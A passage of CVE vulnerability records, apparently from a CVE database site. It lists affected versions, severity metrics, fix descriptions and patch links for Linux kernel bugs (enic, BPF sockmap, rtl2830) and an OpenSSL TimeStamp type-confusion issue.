              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "f6638e955ca00c489894789492776842e102af9c",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "aee1955a1509a921c05c70dad5d6fc8563dfcb31",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            },
            {
              "lessThan": "e8021b94b0412c37bcc79027c2e382086b6ce449",
              "status": "affected",
              "version": "f8bd909183acffad68780b10c1cdf36161cfd5d1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/cisco/enic/enic_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.35"
            },
            {
              "lessThan": "2.6.35",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.35",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nenic: Validate length of nl attributes in enic_set_vf_port\n\nenic_set_vf_port assumes that the nl attribute IFLA_PORT_PROFILE\nis of length PORT_PROFILE_MAX and that the nl attributes\nIFLA_PORT_INSTANCE_UUID, IFLA_PORT_HOST_UUID are of length PORT_UUID_MAX.\nThese attributes are validated (in the function do_setlink in rtnetlink.c)\nusing the nla_policy ifla_port_policy. The policy defines IFLA_PORT_PROFILE\nas NLA_STRING, IFLA_PORT_INSTANCE_UUID as NLA_BINARY and\nIFLA_PORT_HOST_UUID as NLA_STRING. That means that the length validation\nusing the policy is for the max size of the attributes and not on exact\nsize so the length of these attributes might be less than the sizes that\nenic_set_vf_port expects. This might cause an out of bands\nread access in the memcpys of the data of these\nattributes in enic_set_vf_port."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:39.040Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2b649d7e0cb42a660f0260ef25fd55fdc9c6c600"
        },
        {
          "url": "https://git.kernel.org/stable/c/ca63fb7af9d3e531aa25f7ae187bfc6c7166ec2d"
        },
        {
          "url": "https://git.kernel.org/stable/c/3c0d36972edbe56fcf98899622d9b90ac9965227"
        },
        {
          "url": "https://git.kernel.org/stable/c/25571a12fbc8a1283bd8380d461267956fd426f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/7077c22f84f41974a711604a42fd0e0684232ee5"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6638e955ca00c489894789492776842e102af9c"
        },
        {
          "url": "https://git.kernel.org/stable/c/aee1955a1509a921c05c70dad5d6fc8563dfcb31"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8021b94b0412c37bcc79027c2e382086b6ce449"
        }
      ],
      "title": "enic: Validate length of nl attributes in enic_set_vf_port",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38659",
    "datePublished": "2024-06-21T10:28:15.337Z",
    "dateReserved": "2024-06-21T10:12:11.472Z",
    "dateUpdated": "2026-05-12T11:55:14.627Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38662 (GCVE-0-2024-38662)

Vulnerability from cvelistv5 – Published: 2024-06-21 11:15 – Updated: 2026-05-12 11:55

Title

bpf: Allow delete from sockmap/sockhash only if update is allowed

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf: Allow delete from sockmap/sockhash only if update is allowed We have seen an influx of syzkaller reports where a BPF program attached to a tracepoint triggers a locking rule violation by performing a map_delete on a sockmap/sockhash. We don't intend to support this artificial use scenario. Extend the existing verifier allowed-program-type check for updating sockmap/sockhash to also cover deleting from a map. From now on only BPF programs which were previously allowed to update sockmap/sockhash can delete from these map types.

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/29467edc23818dc5a…
https://git.kernel.org/stable/c/11e8ecc5b86037fec…
https://git.kernel.org/stable/c/6693b172f00884681…
https://git.kernel.org/stable/c/000a65bf1dc04fb2b…
https://git.kernel.org/stable/c/b81e1c5a3c70398cf…
https://git.kernel.org/stable/c/98e948fb60d41447f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: dd54b48db0c822ae7b520bc80751f0a0a173ef75 , < 29467edc23818dc5a33042ffb4920b49b090e63d (git) Affected: d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec , < 11e8ecc5b86037fec43d07b1c162e233e131b1d9 (git) Affected: a44770fed86515eedb5a7c00b787f847ebb134a5 , < 6693b172f008846811f48a099f33effc26068e1e (git) Affected: 668b3074aa14829e2ac2759799537a93b60fef86 , < 000a65bf1dc04fb2b65e2abf116f0bc0fc2ee7b1 (git) Affected: ff91059932401894e6c86341915615c5eb0eca48 , < b81e1c5a3c70398cf76631ede63a03616ed1ba3c (git) Affected: ff91059932401894e6c86341915615c5eb0eca48 , < 98e948fb60d41447fd8d2d0c3b8637fc6b6dc26d (git) Affected: f7990498b05ac41f7d6a190dc0418ef1d21bf058 (git) Affected: 6af057ccdd8e7619960aca1f0428339f213b31cd (git)
Linux	Linux	Affected: 6.9 Unaffected: 0 , < 6.9 (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38662",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T13:43:09.177225Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T13:43:19.909Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T04:12:26.024Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/29467edc23818dc5a33042ffb4920b49b090e63d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/11e8ecc5b86037fec43d07b1c162e233e131b1d9"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6693b172f008846811f48a099f33effc26068e1e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/000a65bf1dc04fb2b65e2abf116f0bc0fc2ee7b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b81e1c5a3c70398cf76631ede63a03616ed1ba3c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/98e948fb60d41447fd8d2d0c3b8637fc6b6dc26d"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:16.042Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/verifier.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "29467edc23818dc5a33042ffb4920b49b090e63d",
              "status": "affected",
              "version": "dd54b48db0c822ae7b520bc80751f0a0a173ef75",
              "versionType": "git"
            },
            {
              "lessThan": "11e8ecc5b86037fec43d07b1c162e233e131b1d9",
              "status": "affected",
              "version": "d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec",
              "versionType": "git"
            },
            {
              "lessThan": "6693b172f008846811f48a099f33effc26068e1e",
              "status": "affected",
              "version": "a44770fed86515eedb5a7c00b787f847ebb134a5",
              "versionType": "git"
            },
            {
              "lessThan": "000a65bf1dc04fb2b65e2abf116f0bc0fc2ee7b1",
              "status": "affected",
              "version": "668b3074aa14829e2ac2759799537a93b60fef86",
              "versionType": "git"
            },
            {
              "lessThan": "b81e1c5a3c70398cf76631ede63a03616ed1ba3c",
              "status": "affected",
              "version": "ff91059932401894e6c86341915615c5eb0eca48",
              "versionType": "git"
            },
            {
              "lessThan": "98e948fb60d41447fd8d2d0c3b8637fc6b6dc26d",
              "status": "affected",
              "version": "ff91059932401894e6c86341915615c5eb0eca48",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "f7990498b05ac41f7d6a190dc0418ef1d21bf058",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "6af057ccdd8e7619960aca1f0428339f213b31cd",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/verifier.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.9"
            },
            {
              "lessThan": "6.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.10.215",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.15.154",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "6.1.85",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "6.6.26",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.4.274",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.8.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Allow delete from sockmap/sockhash only if update is allowed\n\nWe have seen an influx of syzkaller reports where a BPF program attached to\na tracepoint triggers a locking rule violation by performing a map_delete\non a sockmap/sockhash.\n\nWe don\u0027t intend to support this artificial use scenario. Extend the\nexisting verifier allowed-program-type check for updating sockmap/sockhash\nto also cover deleting from a map.\n\nFrom now on only BPF programs which were previously allowed to update\nsockmap/sockhash can delete from these map types."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:41.546Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/29467edc23818dc5a33042ffb4920b49b090e63d"
        },
        {
          "url": "https://git.kernel.org/stable/c/11e8ecc5b86037fec43d07b1c162e233e131b1d9"
        },
        {
          "url": "https://git.kernel.org/stable/c/6693b172f008846811f48a099f33effc26068e1e"
        },
        {
          "url": "https://git.kernel.org/stable/c/000a65bf1dc04fb2b65e2abf116f0bc0fc2ee7b1"
        },
        {
          "url": "https://git.kernel.org/stable/c/b81e1c5a3c70398cf76631ede63a03616ed1ba3c"
        },
        {
          "url": "https://git.kernel.org/stable/c/98e948fb60d41447fd8d2d0c3b8637fc6b6dc26d"
        }
      ],
      "title": "bpf: Allow delete from sockmap/sockhash only if update is allowed",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38662",
    "datePublished": "2024-06-21T11:15:12.202Z",
    "dateReserved": "2024-06-21T10:12:11.509Z",
    "dateUpdated": "2026-05-12T11:55:16.042Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-69420 (GCVE-0-2025-69420)

Vulnerability from cvelistv5 – Published: 2026-01-27 16:01 – Updated: 2026-05-12 12:08

Title

Missing ASN1_TYPE validation in TS_RESP_verify_response() function

Summary

Issue summary: A type confusion vulnerability exists in the TimeStamp Response verification code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing a malformed TimeStamp Response file. Impact summary: An application calling TS_RESP_verify_response() with a malformed TimeStamp Response can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service. The functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2() access the signing cert attribute value without validating its type. When the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash. Exploiting this vulnerability requires an attacker to provide a malformed TimeStamp Response to an application that verifies timestamp responses. The TimeStamp protocol (RFC 3161) is not widely used and the impact of the exploit is just a Denial of Service. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the TimeStamp Response implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

openssl

References

6 references

URL	Tags
https://openssl-library.org/news/secadv/20260127.txt	vendor-advisory
https://github.com/openssl/openssl/commit/a99349e…	patch
https://github.com/openssl/openssl/commit/564fd9c…	patch
https://github.com/openssl/openssl/commit/27c7012…	patch
https://github.com/openssl/openssl/commit/5eb0770…	patch
https://github.com/openssl/openssl/commit/4e254b4…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.6.0 , < 3.6.1 (semver) Affected: 3.5.0 , < 3.5.5 (semver) Affected: 3.4.0 , < 3.4.4 (semver) Affected: 3.3.0 , < 3.3.6 (semver) Affected: 3.0.0 , < 3.0.19 (semver) Affected: 1.1.1 , < 1.1.1ze (custom)

Date Public ?

2026-01-27 14:00

Credits

Luigino Camastra (Aisle Research) Bob Beck

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-69420",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-01-28T19:33:06.662569Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-01-28T19:33:41.253Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:08:43.116Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.6.1",
              "status": "affected",
              "version": "3.6.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.5.5",
              "status": "affected",
              "version": "3.5.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.4.4",
              "status": "affected",
              "version": "3.4.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.3.6",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.19",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1ze",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "Luigino Camastra (Aisle Research)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Bob Beck"
        }
      ],
      "datePublic": "2026-01-27T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: A type confusion vulnerability exists in the TimeStamp Response\u003cbr\u003everification code where an ASN1_TYPE union member is accessed without first\u003cbr\u003evalidating the type, causing an invalid or NULL pointer dereference when\u003cbr\u003eprocessing a malformed TimeStamp Response file.\u003cbr\u003e\u003cbr\u003eImpact summary: An application calling TS_RESP_verify_response() with a\u003cbr\u003emalformed TimeStamp Response can be caused to dereference an invalid or\u003cbr\u003eNULL pointer when reading, resulting in a Denial of Service.\u003cbr\u003e\u003cbr\u003eThe functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2()\u003cbr\u003eaccess the signing cert attribute value without validating its type.\u003cbr\u003eWhen the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory\u003cbr\u003ethrough the ASN1_TYPE union, causing a crash.\u003cbr\u003e\u003cbr\u003eExploiting this vulnerability requires an attacker to provide a malformed\u003cbr\u003eTimeStamp Response to an application that verifies timestamp responses. The\u003cbr\u003eTimeStamp protocol (RFC 3161) is not widely used and the impact of the\u003cbr\u003eexploit is just a Denial of Service. For these reasons the issue was\u003cbr\u003eassessed as Low severity.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\u003cbr\u003eas the TimeStamp Response implementation is outside the OpenSSL FIPS module\u003cbr\u003eboundary.\u003cbr\u003e\u003cbr\u003eOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\u003cbr\u003e\u003cbr\u003eOpenSSL 1.0.2 is not affected by this issue."
            }
          ],
          "value": "Issue summary: A type confusion vulnerability exists in the TimeStamp Response\nverification code where an ASN1_TYPE union member is accessed without first\nvalidating the type, causing an invalid or NULL pointer dereference when\nprocessing a malformed TimeStamp Response file.\n\nImpact summary: An application calling TS_RESP_verify_response() with a\nmalformed TimeStamp Response can be caused to dereference an invalid or\nNULL pointer when reading, resulting in a Denial of Service.\n\nThe functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2()\naccess the signing cert attribute value without validating its type.\nWhen the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory\nthrough the ASN1_TYPE union, causing a crash.\n\nExploiting this vulnerability requires an attacker to provide a malformed\nTimeStamp Response to an application that verifies timestamp responses. The\nTimeStamp protocol (RFC 3161) is not widely used and the impact of the\nexploit is just a Denial of Service. For these reasons the issue was\nassessed as Low severity.\n\nThe FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the TimeStamp Response implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue.\n\nOpenSSL 1.0.2 is not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-754",
              "description": "CWE-754 Improper Check for Unusual or Exceptional Conditions",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-01-27T16:01:25.643Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20260127.txt"
        },
        {
          "name": "3.6.1 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/a99349ebfc519999edc50620abe24d599b9eb085"
        },
        {
          "name": "3.5.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/564fd9c73787f25693bf9e75faf7bf6bb1305d4e"
        },
        {
          "name": "3.4.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/27c7012c91cc986a598d7540f3079dfde2416eb9"
        },
        {
          "name": "3.3.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/5eb0770ffcf11b785cf374ff3c19196245e54f1b"
        },
        {
          "name": "3.0.19 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/4e254b48ad93cc092be3dd62d97015f33f73133a"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Missing ASN1_TYPE validation in TS_RESP_verify_response() function",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2025-69420",
    "datePublished": "2026-01-27T16:01:25.643Z",
    "dateReserved": "2026-01-06T12:44:09.945Z",
    "dateUpdated": "2026-05-12T12:08:43.116Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47697 (GCVE-0-2024-47697)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error

Summary

In the Linux kernel, the following vulnerability has been resolved: drivers: media: dvb-frontends/rtl2830: fix an out-of-bounds write error Ensure index in rtl2830_pid_filter does not exceed 31 to prevent out-of-bounds access. dev->filters is a 32-bit value, so set_bit and clear_bit functions should only operate on indices from 0 to 31. If index is 32, it will attempt to access a non-existent 33rd bit, leading to out-of-bounds access. Change the boundary check from index > 32 to index >= 32 to resolve this issue.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/8ffbe7d07b8e76193…
https://git.kernel.org/stable/c/883f794c6e498ae24…
https://git.kernel.org/stable/c/badbd736e6649c4e6…
https://git.kernel.org/stable/c/86d920d2600c3a48e…
https://git.kernel.org/stable/c/3dba83d3c81de1368…
https://git.kernel.org/stable/c/58f31be7dfbc0c84a…
https://git.kernel.org/stable/c/7fd6aae7e53b94f40…
https://git.kernel.org/stable/c/042b101d7bf70616c…
https://git.kernel.org/stable/c/46d7ebfe6a75a454a…

Impacted products

2 products

Vendor	Product	Version
